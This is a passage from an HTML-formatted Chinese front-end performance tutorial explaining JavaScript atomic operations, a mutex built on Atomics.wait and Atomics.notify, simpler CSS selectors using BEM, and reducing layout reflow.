class=\"token operator\">++</span> <span class=\"token comment\">// &#x7EBF;&#x7A0B;&#x4E0D;&#x5B89;&#x5168;</span>\n\nAtomics<span class=\"token punctuation\">.</span><span class=\"token function\">add</span><span class=\"token punctuation\">(</span>sharedArray<span class=\"token punctuation\">,</span> i<span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token comment\">// &#x7EBF;&#x7A0B;&#x5B89;&#x5168;</span>\n</code></pre>\n<p>&#x539F;&#x5B50;&#x64CD;&#x4F5C;&#x8868;&#x793A;&#x6700;&#x5C0F;&#x4E0D;&#x53EF;&#x5206;&#x5272;&#x7684;&#x64CD;&#x4F5C;&#x3002;&#x4E0A;&#x9762;&#x662F;&#x4E00;&#x4E2A;&#x63CF;&#x8FF0;&#x539F;&#x5B50;&#x64CD;&#x4F5C;&#x7684;&#x7ECF;&#x5178;&#x4F8B;&#x5B50;&#x3002;<code>sharedArray[i]++</code> &#x770B;&#x4F3C;&#x662F;&#x4E00;&#x6B21;&#x9012;&#x589E;&#x64CD;&#x4F5C;&#xFF0C;&#x5B9E;&#x9645;&#x4E0A;&#x5305;&#x542B;&#x4E86;&#x8BFB;&#x53D6;&#x3001;&#x4FEE;&#x6539;&#x4E0E;&#x5199;&#x5165;&#x4E09;&#x6B65;&#xFF0C;&#x800C;&#x4E14;&#x5199;&#x5165;&#x7684;&#x503C;&#x4F9D;&#x8D56;&#x4E8E;&#x5148;&#x524D;&#x8BFB;&#x53D6;&#x7684;&#xFF0C;&#x8FD9;&#x4F1A;&#x5F15;&#x53D1;&#x7EBF;&#x7A0B;&#x5B89;&#x5168;&#x95EE;&#x9898;&#xFF0C;&#x90E8;&#x5206;&#x7EBF;&#x7A0B;&#x6267;&#x884C;&#x7684;&#x9012;&#x589E;&#x64CD;&#x4F5C;&#x53EF;&#x80FD;&#x4E22;&#x5931;&#x4E86;&#x3002;&#x4F46;&#x4F7F;&#x7528;&#x539F;&#x5B50;&#x64CD;&#x4F5C; <code>Atomics.add()</code> &#x5219;&#x662F;&#x7EBF;&#x7A0B;&#x5B89;&#x5168;&#x7684;&#xFF0C;&#x76F8;&#x5F53;&#x4E8E;&#x5C06;&#x524D;&#x8005;&#x7684;&#x4E09;&#x6B65;&#x64CD;&#x4F5C;&#x5408;&#x5E76;&#x6210;&#x4E86;&#x4E00;&#x6B65;&#xFF0C;&#x6D88;&#x9664;&#x4E86;&#x591A;&#x4E2A;&#x7EBF;&#x7A0B;&#x4E4B;&#x95F4;&#x7684;&#x7ADE;&#x4E89;&#x6001;&#x3002;</p>\n<p>&#x4F46;&#x5E76;&#x4E0D;&#x662F;&#x4F7F;&#x7528;&#x4E86;&#x539F;&#x5B50;&#x64CD;&#x4F5C;&#x7684;&#x4EE3;&#x7801;&#x5C31;&#x662F;&#x7EBF;&#x7A0B;&#x5B89;&#x5168;&#x7684;&#xFF0C;&#x6211;&#x4EEC;&#x6765;&#x770B;&#x4E0B;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// main.js</span>\n<span class=\"token keyword\">const</span> workers <span class=\"token operator\">=</span> Array<span class=\"token punctuation\">.</span><span class=\"token function\">from</span><span class=\"token punctuation\">(</span><span class=\"token function\">Array</span><span class=\"token punctuation\">(</span><span class=\"token number\">4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Worker</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;worker.js&apos;</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n<span class=\"token keyword\">const</span> size <span class=\"token operator\">=</span> <span class=\"token number\">2</span> <span class=\"token operator\">*</span> Uint8Array<span class=\"token punctuation\">.</span><span class=\"token constant\">BYTES_PER_ELEMENT</span>\n<span class=\"token keyword\">const</span> cache <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">SharedArrayBuffer</span><span class=\"token punctuation\">(</span>size<span class=\"token punctuation\">)</span>\n\nworkers<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">worker<span class=\"token punctuation\">,</span> index</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> worker<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;message&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span>data<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>num<span class=\"token punctuation\">,</span> factorial<span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> event\n\n  <span class=\"token keyword\">let</span> target <span class=\"token operator\">=</span> <span class=\"token number\">1</span>\n\n  <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> i <span class=\"token operator\">=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;=</span> num<span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    target <span class=\"token operator\">*=</span> i<span class=\"token punctuation\">;</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>factorial <span class=\"token operator\">!==</span> target<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;Not thread safe:&apos;</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  console<span class=\"token punctuation\">.</span><span class=\"token function\">log</span><span class=\"token punctuation\">(</span><span class=\"token template-string\"><span class=\"token string\">`</span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>num<span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">! = </span><span class=\"token interpolation\"><span class=\"token interpolation-punctuation punctuation\">${</span>factorial<span class=\"token interpolation-punctuation punctuation\">}</span></span><span class=\"token string\">`</span></span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token keyword\">const</span> nums <span class=\"token operator\">=</span> Array<span class=\"token punctuation\">.</span><span class=\"token function\">from</span><span class=\"token punctuation\">(</span><span class=\"token function\">Array</span><span class=\"token punctuation\">(</span><span class=\"token number\">128</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> Math<span class=\"token punctuation\">.</span><span class=\"token function\">ceil</span><span class=\"token punctuation\">(</span>Math<span class=\"token punctuation\">.</span><span class=\"token function\">random</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">*</span> <span class=\"token number\">5</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\nnums<span class=\"token punctuation\">.</span><span class=\"token function\">forEach</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">num<span class=\"token punctuation\">,</span> index</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  workers<span class=\"token punctuation\">[</span>index <span class=\"token operator\">&amp;</span> <span class=\"token number\">3</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">.</span><span class=\"token function\">postMessage</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n    num<span class=\"token punctuation\">,</span>\n    cache\n  <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token comment\">// worker.js</span>\nself<span class=\"token punctuation\">.</span><span class=\"token function\">addEventListener</span><span class=\"token punctuation\">(</span><span class=\"token string\">&apos;message&apos;</span><span class=\"token punctuation\">,</span> <span class=\"token parameter\">event</span> <span class=\"token operator\">=&gt;</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token keyword\">const</span> <span class=\"token punctuation\">{</span>data<span class=\"token punctuation\">:</span> <span class=\"token punctuation\">{</span>num<span class=\"token punctuation\">,</span> cache<span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span> <span class=\"token operator\">=</span> event\n  <span class=\"token keyword\">const</span> lastResult <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Uint8Array</span><span class=\"token punctuation\">(</span>cache<span class=\"token punctuation\">)</span>\n\n  <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">load</span><span class=\"token punctuation\">(</span>lastResult<span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">===</span> num<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">return</span> self<span class=\"token punctuation\">.</span><span class=\"token function\">postMessage</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>\n      num<span class=\"token punctuation\">,</span>\n      factorial<span class=\"token punctuation\">:</span> Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">load</span><span class=\"token punctuation\">(</span>lastResult<span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token keyword\">let</span> factorial <span class=\"token operator\">=</span> <span class=\"token number\">1</span>\n\n  <span class=\"token keyword\">for</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">let</span> i <span class=\"token operator\">=</span> <span class=\"token number\">2</span><span class=\"token punctuation\">;</span> i <span class=\"token operator\">&lt;=</span> num<span class=\"token punctuation\">;</span> i<span class=\"token operator\">++</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    factorial <span class=\"token operator\">*=</span> i\n  <span class=\"token punctuation\">}</span>\n\n  Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">store</span><span class=\"token punctuation\">(</span>lastResult<span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> num<span class=\"token punctuation\">)</span>\n  Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">store</span><span class=\"token punctuation\">(</span>lastResult<span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">,</span> factorial<span class=\"token punctuation\">)</span>\n  self<span class=\"token punctuation\">.</span><span class=\"token function\">postMessage</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">{</span>num<span class=\"token punctuation\">,</span> factorial<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n<span class=\"token punctuation\">}</span><span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4E0A;&#x8FF0;&#x4EE3;&#x7801;&#x662F;&#x4E00;&#x4E2A;&#x523B;&#x610F;&#x6784;&#x9020;&#x7684;&#x4F8B;&#x5B50;&#xFF0C;&#x5C06; 128 &#x4E2A;&#x5927;&#x5C0F;&#x4E3A; 1~5 &#x7684;&#x6570;&#x5B57;&#x5206;&#x914D;&#x7ED9;&#x56DB;&#x4E2A; Worker &#x7EBF;&#x7A0B;&#x8BA1;&#x7B97;&#x9636;&#x4E58;&#xFF0C;&#x5E76;&#x5C06;&#x6700;&#x8FD1;&#x4E00;&#x6B21;&#x8BA1;&#x7B97;&#x7684;&#x7ED3;&#x679C;&#x7F13;&#x5B58;&#x5728;&#x5171;&#x4EAB;&#x5185;&#x5B58; <code>cache</code> &#x91CC;&#x3002;&#x867D;&#x7136;&#x5BF9; <code>cache</code> &#x7684;&#x6240;&#x6709;&#x64CD;&#x4F5C;&#x5747;&#x4E3A;&#x539F;&#x5B50;&#x64CD;&#x4F5C;&#xFF0C;&#x4F46;&#x6211;&#x4EEC;&#x7ECF;&#x8FC7;&#x7B80;&#x5355;&#x601D;&#x8003;&#x540E;&#x5C31;&#x80FD;&#x53D1;&#x73B0;&#xFF0C;&#x8FD9;&#x6BB5;&#x4EE3;&#x7801;&#x4ECD;&#x7136;&#x4E0D;&#x662F;&#x7EBF;&#x7A0B;&#x5B89;&#x5168;&#x7684;&#x3002;&#x56E0;&#x4E3A;&#x6211;&#x4EEC;&#x4E0D;&#x80FD;&#x4FDD;&#x8BC1;&#x4E24;&#x6B21;&#x8BFB;&#x53D6; <code>lastResult</code> &#x4E4B;&#x95F4;&#xFF0C;&#x5176;&#x4ED6;&#x7EBF;&#x7A0B;&#x6CA1;&#x6709;&#x5BF9;&#x5176;&#x8FDB;&#x884C;&#x4FEE;&#x6539;&#x3002;&#x540C;&#x6837;&#xFF0C;&#x6211;&#x4EEC;&#x4E5F;&#x4E0D;&#x80FD;&#x4FDD;&#x8BC1;&#x80FD;&#x540C;&#x65F6;&#x5199;&#x5165; <code>lastResult</code> &#x7684;&#x4E24;&#x4E2A;&#x503C;&#x3002;</p>\n<p>&#x5BF9;&#x4E8E;&#x5355;&#x4E2A;&#x5171;&#x4EAB;&#x53D8;&#x91CF;&#x800C;&#x8A00;&#xFF0C;<code>Atomics.compareExchange</code> &#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x79CD;&#x4E50;&#x89C2;&#x9501;&#x7684;&#x673A;&#x5236;&#xFF0C;&#x53EF;&#x4EE5;&#x4EC5;&#x5728;&#x5F53;&#x524D;&#x503C;&#x7B26;&#x5408;&#x9884;&#x671F;&#x65F6;&#x624D;&#x8FDB;&#x884C;&#x5199;&#x5165;&#x3002;&#x4F46;&#x5BF9;&#x4E8E;&#x591A;&#x4E2A;&#x5171;&#x4EAB;&#x53D8;&#x91CF;&#x7684;&#x540C;&#x6B65;&#xFF0C;&#x6211;&#x4EEC;&#x901A;&#x5E38;&#x9700;&#x8981;&#x4F7F;&#x7528;&#x4E92;&#x65A5;&#x9501;&#x3002;&#x6CE8;&#x610F;&#x5230; <code>Atomics.wait()</code> &#x548C; <code>Atomics.notify()</code> &#x7684;&#x7528;&#x6CD5;&#x7C7B;&#x4F3C;&#x4E8E; Linux &#x7684; futex&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5229;&#x7528;&#x8FD9;&#x4E24;&#x4E2A;&#x65B9;&#x6CD5;&#xFF0C;&#x5B9E;&#x73B0;&#x4E00;&#x4E2A;&#x7B80;&#x5355;&#x7684;&#x4E92;&#x65A5;&#x9501;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">class</span> <span class=\"token class-name\">Mutex</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token function\">constructor</span> <span class=\"token punctuation\">(</span><span class=\"token parameter\">resources<span class=\"token punctuation\">,</span> index</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources <span class=\"token operator\">=</span> resources\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>index <span class=\"token operator\">=</span> index\n    <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>locked <span class=\"token operator\">=</span> <span class=\"token boolean\">false</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token function\">lock</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>locked<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">add</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>index<span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n      <span class=\"token keyword\">return</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span><span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">load</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>index<span class=\"token punctuation\">)</span> <span class=\"token operator\">&gt;</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">while</span> <span class=\"token punctuation\">(</span>Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">wait</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>index<span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">!==</span> <span class=\"token string\">&apos;ok&apos;</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span><span class=\"token punctuation\">}</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">compareExchange</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>index<span class=\"token punctuation\">,</span> <span class=\"token number\">0</span><span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n        <span class=\"token keyword\">continue</span>\n      <span class=\"token punctuation\">}</span>\n      <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>locked <span class=\"token operator\">=</span> <span class=\"token boolean\">true</span>\n      <span class=\"token keyword\">return</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">}</span>\n\n  <span class=\"token function\">unlock</span> <span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span><span class=\"token operator\">!</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>locked<span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">return</span>\n    <span class=\"token punctuation\">}</span>\n    <span class=\"token keyword\">if</span> <span class=\"token punctuation\">(</span>Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">sub</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>index<span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token operator\">===</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>locked <span class=\"token operator\">=</span> <span class=\"token boolean\">false</span>\n    <span class=\"token punctuation\">}</span>\n    Atomics<span class=\"token punctuation\">.</span><span class=\"token function\">notify</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>resources<span class=\"token punctuation\">,</span> <span class=\"token keyword\">this</span><span class=\"token punctuation\">.</span>index<span class=\"token punctuation\">,</span> <span class=\"token number\">1</span><span class=\"token punctuation\">)</span>\n  <span class=\"token punctuation\">}</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p><code>resources</code> &#x5728;&#x591A;&#x7EBF;&#x7A0B;&#x4E2D;&#x5171;&#x4EAB;&#xFF0C;&#x7528; <code>resources[index]</code> &#x8868;&#x793A; <code>index</code> &#x5904;&#x88AB;&#x9501;&#x5B9A;&#x7684;&#x6B21;&#x6570;&#x3002;&#x901A;&#x8FC7; <code>lock()</code> &#x8BF7;&#x6C42;&#x4E92;&#x65A5;&#x9501;&#x65F6;&#xFF0C;&#x4F1A;&#x4F7F;&#x7528; <code>Atomics.wait()</code>\u0010 &#x7B49;&#x5F85;&#x5176;&#x4ED6;&#x7EBF;&#x7A0B;&#x91CA;&#x653E; <code>index</code> &#x5904;&#x7684;&#x9501;&#x3002;&#x7C7B;&#x4F3C;&#x7684;&#xFF0C;&#x901A;&#x8FC7; <code>unlock()</code> &#x91CA;&#x653E;&#x4E92;&#x65A5;&#x9501;&#x65F6;&#xFF0C;&#x4F1A;&#x4F7F;&#x7528; <code>Atomics.notify()</code> &#x901A;&#x77E5;&#x5176;&#x4ED6;&#x7EBF;&#x7A0B;&#x8BE5;&#x5904;&#x7684;&#x9501;&#x5DF2;&#x88AB;&#x91CA;&#x653E;&#x3002;</p>\n<h2 id=\"&#x964D;&#x4F4E;&#x6E32;&#x67D3;&#x6811;&#x8BA1;&#x7B97;&#x590D;&#x6742;&#x6027;\"><a name=\"&#x964D;&#x4F4E;&#x6E32;&#x67D3;&#x6811;&#x8BA1;&#x7B97;&#x590D;&#x6742;&#x6027;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x964D;&#x4F4E;&#x6E32;&#x67D3;&#x6811;&#x8BA1;&#x7B97;&#x590D;&#x6742;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x964D;&#x4F4E;&#x6E32;&#x67D3;&#x6811;&#x8BA1;&#x7B97;&#x590D;&#x6742;&#x6027;\" class=\"plugin-anchor\" href=\"#&#x964D;&#x4F4E;&#x6E32;&#x67D3;&#x6811;&#x8BA1;&#x7B97;&#x590D;&#x6742;&#x6027;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x964D;&#x4F4E;&#x6E32;&#x67D3;&#x6811;&#x8BA1;&#x7B97;&#x590D;&#x6742;&#x6027;</h2>\n<p>&#x5982;&#x4E0A;&#x6587;&#x63D0;&#x5230;&#x7684;&#xFF0C;&#x6E32;&#x67D3;&#x6811;&#x7531; DOM &#x548C; CSSOM &#x6811;&#x5408;&#x5E76;&#x800C;&#x6210;&#xFF0C;&#x5BF9;&#x4E8E;&#x6BCF;&#x4E2A; DOM &#x5143;&#x7D20;&#xFF0C;&#x9700;&#x8981;&#x67E5;&#x627E;&#x4E0E;&#x5143;&#x7D20;&#x5339;&#x914D;&#x7684;&#x6837;&#x5F0F;&#x89C4;&#x5219;&#x3002;&#x4ECE;&#x800C;&#xFF0C;&#x5728;&#x5C3D;&#x91CF;&#x51CF;&#x5C11; DOM &#x5143;&#x7D20;&#x8282;&#x70B9;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4F7F;&#x7528;&#x7B80;&#x5355;&#x7684; CSS &#x9009;&#x62E9;&#x5668;&#x662F;&#x4E00;&#x4E2A;&#x5F88;&#x81EA;&#x7136;&#x7684;&#x60F3;&#x6CD5;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-css\"><span class=\"token selector\">.last-list-item</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">/* ... */</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token selector\">ul.list &gt; li:last-child</span> <span class=\"token punctuation\">{</span>\n  <span class=\"token comment\">/* ... */</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x5728;&#x4E0A;&#x9762;&#x7684;&#x4F8B;&#x5B50;&#x4E2D;&#xFF0C;&#x4F7F;&#x7528;&#x4E00;&#x4E2A;&#x7C7B;&#x4F5C;&#x4E3A;&#x9009;&#x62E9;&#x5668;&#xFF0C;&#x8981;&#x6BD4;&#x591A;&#x79CD;&#x9009;&#x62E9;&#x5668;&#x6DF7;&#x5408;&#x4F7F;&#x7528;&#x7B80;&#x5355;&#x5F97;&#x591A;&#x3002;&#x6D4F;&#x89C8;&#x5668;&#x5BF9;&#x4E8E;&#x540E;&#x8005;&#xFF0C;&#x9700;&#x8981;&#x82B1;&#x8D39;&#x66F4;&#x591A;&#x7684;&#x65F6;&#x95F4;&#x5224;&#x65AD;&#x9009;&#x62E9;&#x5668;&#x4E0E;&#x5143;&#x7D20;&#x662F;&#x5426;&#x5339;&#x914D;&#x3002;&#x53EA;&#x5728; CSS &#x4E2D;&#x4F7F;&#x7528;&#x7C7B;&#x9009;&#x62E9;&#x5668;&#xFF0C;&#x5E76;&#x5BF9;&#x7C7B;&#x540D;&#x4F7F;&#x7528; BEM (Block, Element, Modifier) &#x547D;&#x540D;&#x6CD5;&#xFF0C;&#x662F;&#x4E00;&#x79CD;&#x7EC4;&#x7EC7; CSS &#x4EE3;&#x7801;&#x7684;&#x597D;&#x65B9;&#x5F0F;&#x3002;&#x7C7B;&#x540D;&#x7531;&#x5757;&#x3001;&#x5143;&#x7D20;&#x3001;&#x4FEE;&#x9970;&#x7B26;&#x4E09;&#x90E8;&#x5206;&#x7EC4;&#x6210;&#xFF0C;&#x5982;&#x4E0A;&#x9762;&#x63CF;&#x8FF0;&#x5217;&#x8868;&#x4E2D;&#x6700;&#x540E;&#x4E00;&#x4E2A;&#x5143;&#x7D20;&#x7684; BEM &#x547D;&#x540D;&#x6CD5;&#xFF0C;&#x53EF;&#x4EE5;&#x547D;&#x540D;&#x4E3A; <code>.list__list-item--last-child</code>&#x3002;&#x4F7F;&#x7528; CSS Modules &#x53EF;&#x4EE5;&#x66F4;&#x65B9;&#x4FBF;&#x5730;&#x8FBE;&#x5230;&#x7C7B;&#x4F3C;&#x7684;&#x6548;&#x679C;&#x3002;CSS Modules &#x662F;&#x4E00;&#x79CD;&#x8F83;&#x4E3A;&#x4E3B;&#x6D41;&#x7684; CSS-in-JS &#x89E3;&#x51B3;&#x65B9;&#x6848;&#xFF0C;&#x5229;&#x7528; webpack &#x7B49;&#x6784;&#x5EFA;&#x5DE5;&#x5177;&#xFF0C;&#x53EF;&#x4EE5;&#x5BF9;&#x7C7B;&#x9009;&#x62E9;&#x5668;&#x751F;&#x6210;&#x81EA;&#x5B9A;&#x4E49;&#x683C;&#x5F0F;&#x7684;&#x552F;&#x4E00;&#x7C7B;&#x540D;&#xFF0C;&#x540C;&#x6837;&#x80FD;&#x51CF;&#x5C11;&#x6D4F;&#x89C8;&#x5668;&#x5339;&#x914D; CSS &#x9009;&#x62E9;&#x5668;&#x7684;&#x5F00;&#x9500;&#x3002;</p>\n<h2 id=\"&#x51CF;&#x5C11;&#x5E03;&#x5C40;&#x6B21;&#x6570;\"><a name=\"&#x51CF;&#x5C11;&#x5E03;&#x5C40;&#x6B21;&#x6570;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x51CF;&#x5C11;&#x5E03;&#x5C40;&#x6B21;&#x6570;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x51CF;&#x5C11;&#x5E03;&#x5C40;&#x6B21;&#x6570;\" class=\"plugin-anchor\" href=\"#&#x51CF;&#x5C11;&#x5E03;&#x5C40;&#x6B21;&#x6570;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x51CF;&#x5C11;&#x5E03;&#x5C40;&#x6B21;&#x6570;</h2>\n<p>&#x9875;&#x9762;&#x5E03;&#x5C40;&#x4E0E;&#x5143;&#x7D20;&#x6837;&#x5F0F;&#x7684;&#x51E0;&#x4F55;&#x7279;&#x6027;&#x76F8;&#x5173;&#xFF0C;&#x5BF9;&#x5E94;&#x7684; CSS &#x5C5E;&#x6027;&#x5305;&#x62EC;&#x76D2;&#x6A21;&#x578B;&#x3001;&#x5B9A;&#x4F4D;&#x7B49;&#x3002;&#x4FEE;&#x6539;&#x8FD9;&#x4E9B;&#x5C5E;&#x6027;&#x4F1A;&#x5F15;&#x8D77;&#x4E00;&#x6B21;&#x9875;&#x9762;&#x91CD;&#x65B0;&#x5E03;&#x5C40;&#xFF0C;&#x53C8;&#x88AB;&#x79F0;&#x4F5C;&#x56DE;&#x6D41;&#x3002;&#x4E0A;&#x6587;&#x63D0;&#x5230;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x8FDB;&#x884C;&#x4E00;&#x6B21;&#x5E03;&#x5C40;&#x7684;&#x5F00;&#x9500;&#x5F88;&#x5927;&#xFF0C;&#x6240;&#x4EE5;&#x6211;&#x4EEC;&#x9700;&#x8981;&#x5C3D;&#x53EF;&#x80FD;&#x907F;&#x514D;&#x76F4;&#x63A5;&#x4FEE;&#x6539;&#x8FD9;&#x4E9B;&#x5C5E;&#x6027;&#xFF0C;&#x5C24;&#x5176;&#x662F;&#x4E0D;&#x5E94;&#x5C06;&#x5E03;&#x5C40;&#x5C5E;&#x6027;&#x7528;&#x4E8E;&#x52A8;&#x753B;&#x6548;&#x679C;&#xFF0C;&#x5426;&#x5219;&#x4F1A;&#x51FA;&#x73B0;&#x660E;&#x663E;&#x7684;&#x6389;&#x5E27;&#x73B0;&#x8C61;&#x3002;&#x5173;&#x4E8E;&#x5982;&#x4F55;&#x4F7F;&#x7528; 